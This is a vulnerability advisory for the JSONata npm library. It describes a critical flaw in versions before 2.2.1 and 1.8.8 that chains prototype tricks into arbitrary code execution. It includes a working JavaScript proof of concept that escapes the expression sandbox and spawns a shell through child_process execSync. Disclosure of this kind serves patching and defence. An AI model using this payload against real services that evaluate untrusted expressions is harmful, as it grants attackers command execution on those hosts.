PT-2026-80232 · Npm · Jsonata

Published

2026-08-21

·

Updated

2026-08-21

CVSS v4.0

9.3

Critical

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:
  • overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
  • it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
  • applyProcedure using proc.arguments.forEach and not Array.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

js
import jsonata from "jsonata";

const expression = jsonata(`
(
  $obj := {};
  $clone := function($o) { $o };
  $m := ($merge.*)[1];

  $fn := function($a) {
    (
      $a({"value":"lg"}," lookupGetter ");
      $a({"value":"x"},"x");
    )
  };

  $nop := function() { $ };

  $capture := function($val) {
    $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
  };

  $ ~> | $ | $m([$nop,{" jsonata lambda":false}])|;
  $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
  $ ~> | $ | {"body":$m([$capture,{" jsonata lambda":false}]).body}|;
  $func := $m([$,{" jsonata lambda":true}]);
  $func();

  $gP := $obj.lg(" proto ");

  $afn:=$spread($fn);
  $afn{"x":$gP().constructor("return process.getBuiltinModule('child process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

Fix

Code Injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-66MM-25PP-RFFF

Affected Products

Jsonata